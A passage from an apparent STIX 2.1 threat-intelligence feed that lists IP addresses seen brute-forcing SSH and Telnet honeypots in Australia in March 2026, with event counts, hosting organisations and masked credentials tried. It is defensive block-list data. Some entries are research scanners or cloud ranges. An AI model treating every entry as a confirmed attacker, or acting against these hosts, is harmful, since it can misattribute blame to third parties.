      "id": "indicator--f3937848-59e4-44a9-b026-05e0f3264bdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f068c390-4124-4bd3-9d26-4d45859e4f5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--e4630e55-e413-488f-969b-f4fcbd121af9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--91ddc244-2fdf-4dc6-af85-b3bdc666d6de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T21:15:14.000Z",
      "valid_until": "2026-04-18T21:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 37468. Organisation(s): ANGOLA-CABLES. Usernames observed (masked): r**y, 3**********4, a*****y, d***m, ***. Passwords observed (masked): 1******8, ***, 1**4, 3***********4, 3**********4.",
      "id": "indicator--d13b0f30-0add-43ce-b610-38be5b297add",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.219.126.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--466f8ff4-49e3-4cf3-a796-86a341e94559",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.200.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p**d, r****l, s******d. Passwords observed (masked): 1***5, 1****6, r********!.",
      "id": "indicator--8d6822f8-4086-4aea-9681-312afed18b34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.1.47.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 144. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--9dba9491-63a5-400c-a0b4-dcdf922fe8da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.183.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 210644. Organisation(s): Aeza Group LLC. Usernames observed (masked): r**t, o****e, p******s, d*****t, d****r. Passwords observed (masked): 1****6, ***, a****3, *, 1******8.",
      "id": "indicator--2846501c-199e-4e48-8dcf-27f0da6d2677",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.45.69.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1c73ad39-156e-48d0-8d6a-05eac2f42f3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 12297. Organisation(s): Telecom Armenia OJSC. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--89a9e00e-23ea-4aad-b612-65983fa3f6a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.160.228.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--6b622e96-7a80-44df-880f-209e0e416b18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): m******n, p******r, **. Passwords observed (masked): 1******8, P**********!, S****!.",
      "id": "indicator--ec022e7f-a5e6-47b9-ba0c-a4ee76ded02e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.147.174.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--90fffd40-7847-47a7-ae90-cdb8c1acfcc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation.",
      "id": "indicator--d714e171-0b50-4a05-9cda-fd709e34908f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 35179. Organisation(s): Korbank S. A.. Usernames observed (masked): r****l, 3**********4, o*****n, s******d, t****s. Passwords observed (masked): 1****6, 3***********4, 3**********4, o*********s, r********!.",
      "id": "indicator--be919dd1-d5f7-4092-81eb-c072a31d9ea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.168.90.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T22:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd. Usernames observed (masked): G******************************************************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.42.231.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:15:14.000Z",
      "valid_until": "2026-04-18T22:15:11.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, L*********o, a***n, r**t.",
      "id": "indicator--d11ad4b2-04b9-4435-a8d8-0cb94a7f12ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.193.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--be3aeb4f-25e1-4167-a60e-e78340ff49e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.143.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 262210. Organisation(s): VIETTEL PERU S.A.C.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--876a223d-fa29-4cfb-9455-d3a0e1609705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.176.14.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ed0e4e90-ba02-428c-95f4-ec50312d7079",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--60333988-8e10-4cb8-a56d-534008fcf2cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-17T23:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--954818b0-3709-4eb1-a90f-d9f001151738",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T23:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.74.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:15:16.000Z",
      "valid_until": "2026-04-18T23:15:12.000Z"
    },
    {
      "created": "2026-03-18T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, 1**4, ***, c***l. Passwords observed (masked): 1****6, 1**4, a******3, 0*************7, 0********1.",
      "id": "indicator--cc842471-ab17-4f46-a691-455314c91c51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.11.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:15:15.000Z",
      "valid_until": "2026-04-19T00:15:12.000Z"
    },
    {
      "created": "2026-03-18T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 633. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**r, c***o. Passwords observed (masked): a***n, 1**4, 1***5, p******d, 1****6.",
      "id": "indicator--d810345b-da3f-4f4d-a929-fc8bd5535395",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.221.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:15:15.000Z",
      "valid_until": "2026-04-19T00:15:12.000Z"
    },
    {
      "created": "2026-03-18T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0b2a6825-5a39-4f8a-8e55-485e1200460e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.201.174.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:15:15.000Z",
      "valid_until": "2026-04-19T00:15:12.000Z"
    },
    {
      "created": "2026-03-18T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 270082. Organisation(s): IWAY TELECOM SOCIEDAD ANONIMA CERRADA. Usernames observed (masked): c*****o, f*****t, g**d, ***, r**t. Passwords observed (masked): 1****6, 1******8, c*********!, g******s, t*********s.",
      "id": "indicator--3a076cb8-d056-47e4-b14f-182d9c66dee8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.48.54.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:15:15.000Z",
      "valid_until": "2026-04-19T00:15:12.000Z"
    },
    {
      "created": "2026-03-18T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--70a2a426-e212-4abc-92e0-0319a71b8164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:15:15.000Z",
      "valid_until": "2026-04-19T00:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 200651. Organisation(s): FlokiNET ehf.",
      "id": "indicator--f0d23ad6-534e-489f-9ed0-89716170d10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.100.87.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, u****u, 3**********4, a***n, c*****7. Passwords observed (masked): 3***********4, 3**********4, A*******!, D*********3, Q**********4.",
      "id": "indicator--ca3097a5-af6a-4dd3-8b32-87b40b3ddf32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.128.77.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 211443. Organisation(s): Sino Worldwide Trading Limited. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.178.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--47e04933-e953-44ef-9af0-ac91d65e3fe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.211.15.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--67aa28dd-11b5-4003-bc66-efb5d124a14c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.252.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb.",
      "id": "indicator--42374d99-4657-41ad-8f18-d7f0f906e46d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.239.61.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:15:14.000Z",
      "valid_until": "2026-04-19T01:15:12.000Z"
    },
    {
      "created": "2026-03-18T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d67bde3e-b928-48e5-bd35-5240d7f2fa0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:15:17.000Z",
      "valid_until": "2026-04-19T02:15:12.000Z"
    },
    {
      "created": "2026-03-18T02:15:17.000Z",
